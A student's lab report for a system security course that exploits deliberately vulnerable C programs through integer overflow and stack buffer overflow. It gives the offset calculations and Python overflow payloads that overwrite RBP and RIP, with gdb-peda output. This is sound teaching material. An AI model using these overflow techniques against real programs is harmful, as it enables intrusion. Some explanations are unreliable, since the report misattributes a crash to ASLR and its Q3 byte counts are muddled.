

50.044 System Security

Siddharth Ganesh
1006407

Lab 1 Report

1. Setup

To start this lab, I completed the setup procedures using TryHackMe as described in the lab report.

2. Integer Overflow

```
#include<stdio.h>
int main(int argc, char *argv[]){
    int arg1, arg2;
    if (argc !=3)
        return -1;
    arg1 = atoi(argv[1]);
    arg2 = atoi(argv[2]);
    if (arg1 < 0 || arg2 < 0)
        return -1;
    if (arg1 + arg2 >= 0)
        return -1;
    printf("ACCESS GRANTED\n");
}
```

The content of Q1.c is provided above. In this program the condition $\text{arg1} + \text{arg2} \geq 0$ is meant to prevent access. But a signed integer overflow can cause $\text{arg1} + \text{arg2}$ to wrap around and become negative. In the C language, when an integer addition exceeds the maximum value (`INT_MAX` for a 32-bit system: 2,147,483,647), it overflows and becomes negative.

To exploit this vulnerability, if we input `arg1` and `arg2` such that they are as large as `INT_MAX`, their sum will overflow into a negative value. This makes the condition $\text{arg1} + \text{arg2} \geq 0$ false, allowing the program to print "ACCESS GRANTED".

```
[csd@ss-bo Lab1]$ ./Q1 2147483647 1
ACCESS GRANTED
```

3. Buffer Overflow

```
#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[]){
    char buf[128];
    strcpy(buf, argv[1]);
    printf("Input:%s\n",buf);
    return 0;
}
```

The content of Q2.c is provided above. The code copies the input `argv[1]` into the buffer of fixed-size 128 bytes using `strcpy()`. But it does not check the length of the input,

which could cause a buffer overflow if the input length exceeds 128 bytes. This can overwrite adjacent stack memory or modify saved return addresses/control flow.

Explanation of argument strings

`run $(python -c 'print("A"*100)')`

(`python -c 'print("A"*100)'` generates a string of 100 'A' characters. The `run $(...)` executes the program with this generated string as an argument.

With this input, since $100 < 128$, it fits into `buf[128]` without causing an overflow, as shown below:

```
gdb-peda$ run $(python -c 'print("A"*100)')
Starting program: /home/csd/Lab1/Q2 $(python -c 'print("A"*100)')
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 2319) exited normally]
```

`run $(python -c 'print("A"*300)')`

In this version of the command, 300 'A' characters are provided as input through (`python -c 'print("A"*300)'`). This exceeds the buffer size (of 128 bytes), overflowing into adjacent memory. The excess characters overwrite critical data (like saved RBP and return address) and segmentation fault (SIGSEGV) occurs due to an invalid memory access:

```
gdb-peda$ run $(python -c 'print("A"*300)')
Starting program: /home/csd/Lab1/Q2 $(python -c 'print("A"*300)')
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffecd
RDX: 0x7ffff7dd7a00 --> 0x0
RSI: 0x7ffff7ff8000 ('Input:', 'A' <repeats 194 times>...)
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAA')
RSP: 0x7ffff7ffe288 ('A' <repeats 164 times>)
RIP: 0x4005ce (<main+81>: ret)
R8 : 0x7ffff7a63938 (<vfprintf+6152>: cmp BYTE PTR [rbp-0x500],0x0)
R9 : 0x132
R10: 0x12c
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7ffff7ffe360 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x4005c3 <main+70>: call 0x400460 <printf@plt>
0x4005c8 <main+75>: mov eax,0x0
0x4005cd <main+80>: leave
=> 0x4005ce <main+81>: ret
0x4005cf: nop
0x4005d0 <__libc_csu_init>: push r15
0x4005d2 <__libc_csu_init+2>: mov r15d,edi
0x4005d5 <__libc_csu_init+5>: push r14
[-----stack-----]
0000| 0x7ffff7ffe288 ('A' <repeats 164 times>)
0008| 0x7ffff7ffe290 ('A' <repeats 156 times>)
0016| 0x7ffff7ffe298 ('A' <repeats 148 times>)
0024| 0x7ffff7ffe2a0 ('A' <repeats 140 times>)
0032| 0x7ffff7ffe2a8 ('A' <repeats 132 times>)
0040| 0x7ffff7ffe2b0 ('A' <repeats 124 times>)
0048| 0x7ffff7ffe2b8 ('A' <repeats 116 times>)
0056| 0x7ffff7ffe2c0 ('A' <repeats 108 times>)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005ce in main (argc=0x2, argv=0x7ffff7ffe368) at Q2.c:8
8 }
```

Explanation of error code

The segmentation fault (SIGSEGV) occurs when a program tries to access an invalid memory location. This error occurred in our case as the buffer overflow overwrites saved RBP and the return address. When `main()` attempts to return (`ret` instruction), it jumps to an invalid address, causing a segmentation fault.

This is visible in the image of the registers attached below– the content of the RBP is ‘AAAAAAA...’

```
[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffecd
RDX: 0x7ffff7dd7a00 --> 0x0
RSI: 0x7ffff7ff8000 ("Input:", 'A' <repeats 194 times>...)
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAA')
RSP: 0x7ffffffffffe288 ('A' <repeats 164 times>)
RIP: 0x4005ce (<main+81>: ret)
R8 : 0x7ffff7a63938 (<vfprintf+6152>: cmp BYTE PTR [rbp-0x500],0x0)
R9 : 0x132
R10: 0x12c
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7ffffffffffe360 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
```

Why is RIP not overflowed with “A”s?

From the gdb output, we can see that the saved RBP (0x4141414141414141) has been overwritten with 'A's. But the RIP remains 0x4005ce, meaning the return address has not been fully overwritten yet.

The reason the RIP (Instruction Pointer) was not successfully overwritten in our buffer overflow attempt is due to how 64-bit memory addressing works.

The RIP was inside the 260-byte overflow

- The total overflow was 261 bytes:
 - 256 bytes to overflow the buffer
 - 5 additional bytes to reach the conditional check
- However, the return address (RIP) is within this overflow space, meaning it was technically overwritten.

In x86-64 (64-bit) CPUs, only 48-bit addresses are valid for program execution. A valid memory address must be within the range:

0x0000000000000000 – 0x00007FFFFFFFFFFFFF

However, our buffer overflow placed 0x4141414141414141 (“AAAAAAA”) into RIP.

Since 0x4141414141414141 is outside the valid memory range, the CPU detected this as a non-canonical address and caused a segmentation fault instead of executing the injected value.

Even if we tried to overwrite RIP with a fake address by prefixing it with \x00\x00 to bring it within a valid memory range, the program still crashed.

This is because modern CPUs enforce Address Space Layout Randomization (ASLR) and only accept real memory addresses from the executable's allocated memory space.

Analysing the stack dump, we can see that the stack is filled with 'A's (0x41 in hex).

```
gdb-peda$ x/100x $rsp - 200
0x7fffffffef1c0: 0x60 0x06 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffef1c8: 0x80 0x6e 0xdd 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffef1d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffef1d8: 0x50 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffef1e0: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffef1e8: 0xc8 0x05 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffef1f0: 0x68 0xe3 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffef1f8: 0xc2 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7fffffffef200: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef208: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef210: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef218: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef220: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
```

4. Calculate offset and Control RIP register

Here are the results of running disas main inside gdb:

```
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000040057d <+0>: push rbp
0x0000000040057e <+1>: mov rbp, rsp
0x00000000400581 <+4>: sub rsp, 0x90
0x00000000400588 <+11>: mov DWORD PTR [rbp-0x84], edi
0x0000000040058e <+17>: mov QWORD PTR [rbp-0x90], rsi
0x00000000400595 <+24>: mov rax, QWORD PTR [rbp-0x90]
0x0000000040059c <+31>: add rax, 0x8
0x000000004005a0 <+35>: mov rdx, QWORD PTR [rax]
0x000000004005a3 <+38>: lea rax, [rbp-0x80]
0x000000004005a7 <+42>: mov rsi, rdx
0x000000004005aa <+45>: mov rdi, rax
0x000000004005ad <+48>: call 0x400450 <strcpy@plt>
0x000000004005b2 <+53>: lea rax, [rbp-0x80]
0x000000004005b6 <+57>: mov rsi, rax
0x000000004005b9 <+60>: mov edi, 0x400660
0x000000004005be <+65>: mov eax, 0x0
0x000000004005c3 <+70>: call 0x400460 <printf@plt>
0x000000004005c8 <+75>: mov eax, 0x0
0x000000004005cd <+80>: leave
=> 0x000000004005ce <+81>: ret
End of assembler dump.
```

Explain any other techniques used to calculate the offset?

The third line saves 144 bytes (0x90) bytes on the stack, and since the buf is 128 bytes, the remaining space is saved for RBP and other local variables. The offset to overwrite the RBP is as follows:

Buf – 128 bytes

Padding – 8 bytes

Saved RBP – 8 bytes

Return address – 8 bytes (RIP)

Hence to overwrite the RBP we need 128 (buf) + 8 (padding) = 136 bytes.

To overwrite RIP, we need 136 + 8 = 144 bytes.

Explain why change to LITTLE ENDIAN?

Since x86-64 and x86-32 architectures use the little endian format, where the least significant byte (LSB) is stored first, we have to reverse the byte order when manually setting an address.

Here are the results of running

```
run $(python -c 'print "A"*128 + "\x46\x46\x46\x46\x46\x46\x46\x46" + "\x50\x50\x50\x50\x50\x50\x50\x50"')
```

to overwrite the RBP with 'FFFFFFF' and the RIP with 'PPPPPPP'. We use x50 as it is the hex code for the letter P, and x46 as it is the hex code for F:

```
gdb-peda$ run $(python -c 'print "A"*128 + "\x46\x46\x46\x46\x46\x46\x46\x46" + "\x50\x50\x50\x50\x50\x50\x50\x50"')
Starting program: /home/csd/Lab1/Q2 $(python -c 'print "A"*128 + "\x46\x46\x46\x46\x46\x46\x46\x46" + "\x50\x50\x50\x50\x50\x50\x50\x50"')
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFFFFFPPPPPPPP
Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffff69
RDX: 0x7ffffdd7a00 --> 0x0
RSI: 0x7ffff7ff800 ('Input:', 'A' <repeats 128 times>, "FFFFFFFPPPPPPP\n")
RDI: 0x0
RBP: 0x4646464646464646 ('FFFFFFF')
RSP: 0x7fffffe328 ("PPPPPPP")
RIP: 0x4005ce (<main+81>: ret)
R8 : 0x7ffff7a63938 (<vfprintf+6152>: cmp BYTE PTR [rbp-0x500],0x0)
R9 : 0x96
R10: 0x90
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffe400 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x4005c3 <main+70>: call 0x400460 <printf@plt>
0x4005c8 <main+75>: mov eax,0x0
0x4005cd <main+80>: leave
=> 0x4005ce <main+81>: ret
0x4005cf: nop
0x4005d0 <_libc_csu_init>: push r15
0x4005d2 <_libc_csu_init+2>: mov r15d,edi
0x4005d5 <_libc_csu_init+5>: push r14
[-----stack-----]
0000 0x7fffffe328 ("PPPPPPP")
0008 0x7fffffe330 --> 0x2000000000 ('')
0016 0x7fffffe338 --> 0x7fffffe408 --> 0x7fffffe649 ("/home/csd/Lab1/Q2")
0024 0x7fffffe340 --> 0x2000000000
0032 0x7fffffe348 --> 0x40057d (<main>: push rbp)
0040 0x7fffffe350 --> 0x0
0048 0x7fffffe358 --> 0x162fdfa854cd6bbb
0056 0x7fffffe360 --> 0x400490 (<_start>: xor ebp,ebp)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005ce in main (argc=0x2, argv=0x7fffffe408) at Q2.c:8
8
}
gdb-peda$
```

```
gdb-peda$ info registers
rax                0x0          0x0
rbx                0x0          0x0
rcx                0x7fffffff          0x7fffffff
rdx                0x7ffffffdd7a00      0x7ffffffdd7a00
rsi                0x7ffffff7ff8000     0x7ffffff7ff8000
rdi                0x0          0x0
rbp                0x4646464646464646     0x4646464646464646
rsp                0x7fffffff328       0x7fffffff328
r8                 0x7ffffffa63938     0x7ffffffa63938
r9                 0x96          0x96
r10                0x90          0x90
r11                0x246         0x246
r12                0x400490       0x400490
r13                0x7fffffff400       0x7fffffff400
r14                0x0          0x0
r15                0x0          0x0
rip                0x4005ce      0x4005ce <main+81>
eflags             0x10206    [ PF IF RF ]
cs                 0x33          0x33
ss                 0x2b          0x2b
ds                 0x0          0x0
es                 0x0          0x0
fs                 0x0          0x0
gs                 0x0          0x0
```

Note

The lab report says P P P P P [6 P's], for this, we can replace the last two x50s in the command with x00s: "\x50\x50\x50\x50\x50\x50\x00\x00" :

```
adb-peda$ run $(python -c "print 'A'*128 + '\x46\x46\x46\x46\x46\x46\x46\x46' + '\x50\x50\x50\x50\x50\x50\x50\x00\x00'")
Starting program: /home/csd/Lab1/Q2 $(python -c "print 'A'*128 + '\x46\x46\x46\x46\x46\x46\x46\x46' + '\x50\x50\x50\x50\x50\x50\x50\x00\x00'")
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFFFFFPPPPPPP

Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffff6b
RDX: 0x7ffff7dd7a00 --> 0x0
RSI: 0x7ffff7ff8000 ("Input:", 'A' <repeats 128 times>, "FFFFFFFFPPPPPP\n")
RDI: 0x0
RBP: 0x4646464646464646 ('FFFFFFFF')
RSP: 0x7fffffff330 --> 0x2000000000 (')
RIP: 0x5050505050505050 ('PPPPPP')
R8 : 0x7ffff7a63930 (<vfprintf+6152>; cmp BYTE PTR [rbp-0x500],0x0)
R9 : 0x94
R10: 0x8e
R11: 0x246
R12: 0x400490 (<_start>; xor ebp,ebp)
R13: 0x7fffffff400 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

[-----code-----]
Invalid SPX address: 0x5050505050505050

[-----stack-----]
00000 | 0x7fffffff330 --> 0x2000000000 (')
00008 | 0x7fffffff338 --> 0x7fffffff408 --> 0x7fffffff64b ("/home/csd/Lab1/Q2")
00016 | 0x7fffffff340 --> 0x2000000000
00024 | 0x7fffffff348 --> 0x40057d (<main>; push rbp)
00032 | 0x7fffffff350 --> 0x0
00040 | 0x7fffffff358 --> 0x2a8fd9f1efe4b50c
00048 | 0x7fffffff360 --> 0x400490 (<_start>; xor ebp,ebp)
00056 | 0x7fffffff368 --> 0x7fffffff400 --> 0x2

[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000505050505050 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7 3.5.x86_64
```

5. Integer Overflow and stack Overflow together

Here is the code of Q3.c:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void validate_passwd(char* passwd){
    char passwd_buf[7];
```

```

        unsigned char password_len = strlen(passwd);
        if(password_len >=4 && password_len<=8){
            printf("Valid Password\n");
            fflush(stdout);
            strcpy(passwd_buf,passwd); }
        else {
            printf("Invalid Password\n");
            fflush(stdout);
        }
    }
}

int main(int argc, char* argv[]){
    if(argc!=2){
        printf("Usage Error: \n");
        fflush(stdout);
        exit(-1);
    }
    validate_passwd(argv[1]);
    return 0;
}

```

The program Q3.c contains a buffer overflow vulnerability due to the improper handling of user input. The function responsible for storing the user's password does not enforce proper bounds checking, allowing an attacker to overwrite critical parts of the stack.

From analysing the compiled version of Q3, we identified that a character buffer (likely for storing a password) is allocated in the function's stack frame (seen from the command `sub rsp, 0x20`), but there is no protection against writing beyond its intended size. This leads to a stack overflow, where excess input can overwrite adjacent memory, including saved registers such as RBP and the return address.

```

gdb-peda$ disas validate_passwd
Dump of assembler code for function validate_passwd:
0x000000000040068d <+0>:    push    rbp
0x000000000040068e <+1>:    mov     rbp, rsp
0x0000000000400691 <+4>:    sub     rsp, 0x20
0x0000000000400695 <+8>:    mov     QWORD PTR [rbp-0x18], rdi
0x0000000000400699 <+12>:   mov     rax, QWORD PTR [rbp-0x18]
0x000000000040069d <+16>:   mov     rdi, rax
0x00000000004006a0 <+19>:   call    0x400550 <strlen@plt>
0x00000000004006a5 <+24>:   mov     BYTE PTR [rbp-0x1], al
0x00000000004006a8 <+27>:   cmp     BYTE PTR [rbp-0x1], 0x3
0x00000000004006ac <+31>:   jbe     0x4006e2 <validate_passwd+85>
0x00000000004006ae <+33>:   cmp     BYTE PTR [rbp-0x1], 0x8
0x00000000004006b2 <+37>:   ja      0x4006e2 <validate_passwd+85>
0x00000000004006b4 <+39>:   mov     edi, 0x4007e0
0x00000000004006b9 <+44>:   call    0x400540 <puts@plt>
0x00000000004006be <+49>:   mov     rax, QWORD PTR [rip+0x20099b]    # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006c5 <+56>:   mov     rdi, rax
0x00000000004006c8 <+59>:   call    0x400580 <fflush@plt>
0x00000000004006cd <+64>:   mov     rdx, QWORD PTR [rbp-0x18]
0x00000000004006d1 <+68>:   lea     rax, [rbp-0x10]
0x00000000004006d5 <+72>:   mov     rsi, rdx
0x00000000004006d8 <+75>:   mov     rdi, rax
0x00000000004006db <+78>:   call    0x400530 <strcpy@plt>
0x00000000004006e0 <+83>:   jmp     0x4006fb <validate_passwd+110>
0x00000000004006e2 <+85>:   mov     edi, 0x4007ef
0x00000000004006e7 <+90>:   call    0x400540 <puts@plt>
0x00000000004006ec <+95>:   mov     rax, QWORD PTR [rip+0x20096d]    # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006f3 <+102>:  mov     rdi, rax
0x00000000004006f6 <+105>:  call    0x400580 <fflush@plt>
0x00000000004006fb <+110>:  leave
=> 0x00000000004006fc <+111>:  ret
End of assembler dump.

```


The issue occurs because the program accepts more input than the allocated space, allowing an attacker to modify execution flow and potentially gain control over the program.

To crash the program, I used this command:

```

run $(python -c 'print("A"*261)')
gdb-peda$ run $(python -c 'print("A"*261)')
Starting program: /home/csd/Lab1/Q3 $(python -c 'print("A"*261)')
Valid Password

Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
RAX: 0x7fffffff280 ('A' <repeats 200 times>...)
RBX: 0x0
RCX: 0x4141414141414141 ('AAAAAAA')
RDX: 0x414141 ('AAA')
RSI: 0x7fffffff6e0 ('A' <repeats 11 times>)
RDI: 0x7fffffff37a ('A' <repeats 11 times>)
RBP: 0x4141414141414141 ('AAAAAAA')
RSP: 0x7fffffff298 ('A' <repeats 200 times>...)
RIP: 0x4006fc (<validate_passwd+111>: ret)
R8 : 0x7ffff7fee740 (0x00007ffff7fee740)
R9 : 0x0
R10: 0x7fffffdff0 --> 0x0
R11: 0x7ffffb93220 --> 0xffffc450fff1c440
R12: 0x4005a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffff390 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x4006f3 <validate_passwd+102>: mov rdi,rax
0x4006f6 <validate_passwd+105>: call 0x400580 <fflush@plt>
0x4006fb <validate_passwd+110>: leave
=> 0x4006fc <validate_passwd+111>: ret
0x4006fd <main>: push rbp
0x4006fe <main+1>: mov rbp,rsi
0x400701 <main+4>: sub rsp,0x10
0x400705 <main+8>: mov DWORD PTR [rbp-0x4],edi
[-----stack-----]
0000| 0x7fffffff298 ('A' <repeats 200 times>...)
0008| 0x7fffffff2a0 ('A' <repeats 200 times>...)
0016| 0x7fffffff2a8 ('A' <repeats 200 times>...)
0024| 0x7fffffff2b0 ('A' <repeats 200 times>...)
0032| 0x7fffffff2b8 ('A' <repeats 200 times>...)
0040| 0x7fffffff2c0 ('A' <repeats 197 times>)
0048| 0x7fffffff2c8 ('A' <repeats 189 times>)
0056| 0x7fffffff2d0 ('A' <repeats 181 times>)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004006fc in validate_passwd (passwd=0x7fffffff5e6 'A' <repeats 200 times>...)
at Q3.c:15
15 }
gdb-peda$

```

- 256 bytes were used to overflow the buffer and overwrite password_len.
- An additional 5 bytes were used to ensure the program enters the if statement that processes the overflowed data.
- This caused the program to crash, confirming that memory corruption occurred.

To overwrite the RBP with 'PPPPPPPP', I had to modify the GDB command to:

```
run $(python -c 'print "A"*16 + "\x50\x50\x50\x50\x50\x50\x50\x50" + "A"*237')
```

- We use 16 bytes of “A” to fill the buffer up to the RBP. This is the offset to overflow the buffer.
- The next 8 bytes of “\x50\x50\x50\x50\x50\x50\x50\x50” overwrites RBP with PPPPPPPP (x50 is the hexadecimal value for P).
- Then we have an additional 237 bytes which was calculated as: $261 - 16 - 8 = 237$.

```
gdb-peda$ run $(python -c 'print "A"*16 + "\x50\x50\x50\x50\x50\x50\x50\x50" + "A"*237')
Starting program: /home/csd/Lab1/Q3 $(python -c 'print "A"*16 + "\x50\x50\x50\x50\x50\x50\x50\x50" + "A"*237')
Valid Password

Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
RAX: 0x7fffffff280 ('A' <repeats 16 times>, "PPPPPPP", 'A' <repeats 176 times>...)
RBX: 0x0
RCX: 0x4141414141414141 ('AAAAAAAA')
RDX: 0x8
RSI: 0x7fffffff6e0 ("AAAAAAAA")
RDI: 0x7fffffff37d ("AAAAAAAA")
RBP: 0x5050505050505050 ('PPPPPPP')
RSP: 0x7fffffff298 ('A' <repeats 200 times>...)
RIP: 0x4006fc (<validate_passwd+111>: ret)
R8 : 0x7ffff7fee740 (0x00007ffff7fee740)
R9 : 0x0
R10: 0x7fffffdff0 --> 0x0
R11: 0x7ffff7b93220 --> 0xffffc450fff1c440
R12: 0x4005a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffe390 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

[-----code-----]
0x4006f3 <validate_passwd+102>: mov rdi,rax
0x4006f6 <validate_passwd+105>: call 0x400580 <fflush@plt>
0x4006fb <validate_passwd+110>: leave
=> 0x4006fc <validate_passwd+111>: ret
0x4006fd <main>: push rbp
0x4006fe <main+1>: mov rbp,rsp
0x400701 <main+4>: sub rsp,0x10
0x400705 <main+8>: mov DWORD PTR [rbp-0x4],edi

[-----stack-----]
0000| 0x7fffffff298 ('A' <repeats 200 times>...)
0008| 0x7fffffff2a0 ('A' <repeats 200 times>...)
0016| 0x7fffffff2a8 ('A' <repeats 200 times>...)
0024| 0x7fffffff2b0 ('A' <repeats 200 times>...)
0032| 0x7fffffff2b8 ('A' <repeats 200 times>...)
0040| 0x7fffffff2c0 ('A' <repeats 197 times>)
0048| 0x7fffffff2c8 ('A' <repeats 189 times>)
0056| 0x7fffffff2d0 ('A' <repeats 181 times>)

[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004006fc in validate_passwd (
  passwd=0x7fffffff5e3 'A' <repeats 16 times>, "PPPPPPP", 'A' <repeats 176 times>...) at Q3.c:15
15 }
gdb-peda$
```

The result shows that just the RBP has been overwritten to “PPPPPPPP”.

The offset value to overflow the RBP was found to be 16 bytes, determined since the buffer starts at `rbp-0x10` and is 16 bytes long. This means after these 16 bytes, we can overwrite the RBP.